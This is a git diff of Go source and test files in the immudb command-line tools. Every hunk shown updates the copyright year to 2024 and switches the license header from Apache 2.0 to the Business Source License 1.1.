index da9832e230..9a6a6aaef5 100644 --- a/cmd/immuadmin/command/hot_backup_test.go +++ b/cmd/immuadmin/command/hot_backup_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/init.go b/cmd/immuadmin/command/init.go index 92d02fcaa7..093eb478de 100644 --- a/cmd/immuadmin/command/init.go +++ b/cmd/immuadmin/command/init.go @@ -1,10 +1,12 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + + https://mariadb.com/bsl11/ + Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. diff --git a/cmd/immuadmin/command/init_test.go b/cmd/immuadmin/command/init_test.go index 9a1ed92fce..0e58ccc91e 100644 --- a/cmd/immuadmin/command/init_test.go +++ b/cmd/immuadmin/command/init_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/login.go b/cmd/immuadmin/command/login.go index 36caa9efc0..ed21a6b40d 100644 --- a/cmd/immuadmin/command/login.go +++ b/cmd/immuadmin/command/login.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/login_errors_test.go b/cmd/immuadmin/command/login_errors_test.go index 1395b0e757..c23f5c99e5 100644 --- a/cmd/immuadmin/command/login_errors_test.go +++ b/cmd/immuadmin/command/login_errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/login_test.go b/cmd/immuadmin/command/login_test.go index 830dfbb0bf..6b5976d4d7 100644 --- a/cmd/immuadmin/command/login_test.go +++ b/cmd/immuadmin/command/login_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/root.go b/cmd/immuadmin/command/root.go index f42bc2c6ad..1bb3d48a54 100644 --- a/cmd/immuadmin/command/root.go +++ b/cmd/immuadmin/command/root.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/serverconfig.go b/cmd/immuadmin/command/serverconfig.go index cd5b717e18..470785541a 100644 --- a/cmd/immuadmin/command/serverconfig.go +++ b/cmd/immuadmin/command/serverconfig.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/serverconfig_test.go b/cmd/immuadmin/command/serverconfig_test.go index 69df3085ba..4e678757cb 100644 --- a/cmd/immuadmin/command/serverconfig_test.go +++ b/cmd/immuadmin/command/serverconfig_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats.go b/cmd/immuadmin/command/stats.go index 3d5c408117..a043d11e56 100644 --- a/cmd/immuadmin/command/stats.go +++ b/cmd/immuadmin/command/stats.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats/controller.go b/cmd/immuadmin/command/stats/controller.go index d68d426621..cf4efe823a 100644 --- a/cmd/immuadmin/command/stats/controller.go +++ b/cmd/immuadmin/command/stats/controller.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats/controller_test.go b/cmd/immuadmin/command/stats/controller_test.go index 1918add011..3f13172fca 100644 --- a/cmd/immuadmin/command/stats/controller_test.go +++ b/cmd/immuadmin/command/stats/controller_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats/metrics.go b/cmd/immuadmin/command/stats/metrics.go index 61855bc17e..5e90b821ec 100644 --- a/cmd/immuadmin/command/stats/metrics.go +++ b/cmd/immuadmin/command/stats/metrics.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats/metricsloader.go b/cmd/immuadmin/command/stats/metricsloader.go index 6ec95dcdd7..eae6a43eb4 100644 --- a/cmd/immuadmin/command/stats/metricsloader.go +++ b/cmd/immuadmin/command/stats/metricsloader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats/show.go b/cmd/immuadmin/command/stats/show.go index 99da47ec7d..6914b78c76 100644 --- a/cmd/immuadmin/command/stats/show.go +++ b/cmd/immuadmin/command/stats/show.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats/show_test.go b/cmd/immuadmin/command/stats/show_test.go index a6bbcbcb8d..f546c01985 100644 --- a/cmd/immuadmin/command/stats/show_test.go +++ b/cmd/immuadmin/command/stats/show_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats/statstest/statsResponse.go b/cmd/immuadmin/command/stats/statstest/statsResponse.go index 917acc6514..e12772d860 100644 --- a/cmd/immuadmin/command/stats/statstest/statsResponse.go +++ b/cmd/immuadmin/command/stats/statstest/statsResponse.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats/ui.go b/cmd/immuadmin/command/stats/ui.go index 16dc0f7ed2..afade6966d 100644 --- a/cmd/immuadmin/command/stats/ui.go +++ b/cmd/immuadmin/command/stats/ui.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats/ui_test.go b/cmd/immuadmin/command/stats/ui_test.go index e71483dd52..7fa53190ca 100644 --- a/cmd/immuadmin/command/stats/ui_test.go +++ b/cmd/immuadmin/command/stats/ui_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/stats_test.go b/cmd/immuadmin/command/stats_test.go index 089bee4e65..147438168b 100644 --- a/cmd/immuadmin/command/stats_test.go +++ b/cmd/immuadmin/command/stats_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/user.go b/cmd/immuadmin/command/user.go index c957327545..ab1f4020ae 100644 --- a/cmd/immuadmin/command/user.go +++ b/cmd/immuadmin/command/user.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/user_test.go b/cmd/immuadmin/command/user_test.go index 503d9d1ea8..8a97ae66f0 100644 --- a/cmd/immuadmin/command/user_test.go +++ b/cmd/immuadmin/command/user_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/fips/fips.go b/cmd/immuadmin/fips/fips.go index 4f488e5d73..84f93f4af7 100644 --- a/cmd/immuadmin/fips/fips.go +++ b/cmd/immuadmin/fips/fips.go @@ -2,13 +2,13 @@ // +build fips /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/immuadmin.go b/cmd/immuadmin/immuadmin.go index 0f16b2b3aa..1c6ab5af15 100644 --- a/cmd/immuadmin/immuadmin.go +++ b/cmd/immuadmin/immuadmin.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/auditagent.go b/cmd/immuclient/audit/auditagent.go index 522e5d2cd0..89b836dec5 100644 --- a/cmd/immuclient/audit/auditagent.go +++ b/cmd/immuclient/audit/auditagent.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/auditagent_test.go b/cmd/immuclient/audit/auditagent_test.go index 396b1d0b0a..3919ed6146 100644 --- a/cmd/immuclient/audit/auditagent_test.go +++ b/cmd/immuclient/audit/auditagent_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/auditor.go b/cmd/immuclient/audit/auditor.go index 672a152989..f8a7147bd3 100644 --- a/cmd/immuclient/audit/auditor.go +++ b/cmd/immuclient/audit/auditor.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/auditor_test.go b/cmd/immuclient/audit/auditor_test.go index a4227c8b02..ccddfe6ab6 100644 --- a/cmd/immuclient/audit/auditor_test.go +++ b/cmd/immuclient/audit/auditor_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/executable.go b/cmd/immuclient/audit/executable.go index 188920a85e..62334e5efa 100644 --- a/cmd/immuclient/audit/executable.go +++ b/cmd/immuclient/audit/executable.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/executable_test.go b/cmd/immuclient/audit/executable_test.go index 3c1e605ff1..04e7b05ad2 100644 --- a/cmd/immuclient/audit/executable_test.go +++ b/cmd/immuclient/audit/executable_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/init.go b/cmd/immuclient/audit/init.go index 86266b8605..7cc8aaffd2 100644 --- a/cmd/immuclient/audit/init.go +++ b/cmd/immuclient/audit/init.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/init_test.go b/cmd/immuclient/audit/init_test.go index a127487ad4..99669bca21 100644 --- a/cmd/immuclient/audit/init_test.go +++ b/cmd/immuclient/audit/init_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/metrics.go b/cmd/immuclient/audit/metrics.go index 17fef291eb..fd625a4f19 100644 --- a/cmd/immuclient/audit/metrics.go +++ b/cmd/immuclient/audit/metrics.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/metrics_test.go b/cmd/immuclient/audit/metrics_test.go index ddaa1b1e08..cc52772dca 100644 --- a/cmd/immuclient/audit/metrics_test.go +++ b/cmd/immuclient/audit/metrics_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/utils.go b/cmd/immuclient/audit/utils.go index 56b9a8a261..237e883020 100644 --- a/cmd/immuclient/audit/utils.go +++ b/cmd/immuclient/audit/utils.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/audit/utils_test.go b/cmd/immuclient/audit/utils_test.go index 925203b5aa..08e70af61c 100644 --- a/cmd/immuclient/audit/utils_test.go +++ b/cmd/immuclient/audit/utils_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/cli.go b/cmd/immuclient/cli/cli.go index 5fc92ac320..32ba464f5f 100644 --- a/cmd/immuclient/cli/cli.go +++ b/cmd/immuclient/cli/cli.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/cli_test.go b/cmd/immuclient/cli/cli_test.go index 892ca66856..a1ae7f8af3 100644 --- a/cmd/immuclient/cli/cli_test.go +++ b/cmd/immuclient/cli/cli_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/currentstatus.go b/cmd/immuclient/cli/currentstatus.go index ee4de280f0..0ecf6f7e63 100644 --- a/cmd/immuclient/cli/currentstatus.go +++ b/cmd/immuclient/cli/currentstatus.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/currentstatus_test.go b/cmd/immuclient/cli/currentstatus_test.go index 67f2fa137a..41f8039567 100644 --- a/cmd/immuclient/cli/currentstatus_test.go +++ b/cmd/immuclient/cli/currentstatus_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/getcommands.go b/cmd/immuclient/cli/getcommands.go index a35c457e08..5c2f4ab045 100644 --- a/cmd/immuclient/cli/getcommands.go +++ b/cmd/immuclient/cli/getcommands.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/getcommands_test.go b/cmd/immuclient/cli/getcommands_test.go index 38647f1594..afa4a48e99 100644 --- a/cmd/immuclient/cli/getcommands_test.go +++ b/cmd/immuclient/cli/getcommands_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/login.go b/cmd/immuclient/cli/login.go index 96a5ee4b94..d205e6ffb8 100644 --- a/cmd/immuclient/cli/login.go +++ b/cmd/immuclient/cli/login.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/login_test.go b/cmd/immuclient/cli/login_test.go index bd530498c5..328309a3ee 100644 --- a/cmd/immuclient/cli/login_test.go +++ b/cmd/immuclient/cli/login_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/misc.go b/cmd/immuclient/cli/misc.go index cde60357bf..b98c7193ec 100644 --- a/cmd/immuclient/cli/misc.go +++ b/cmd/immuclient/cli/misc.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 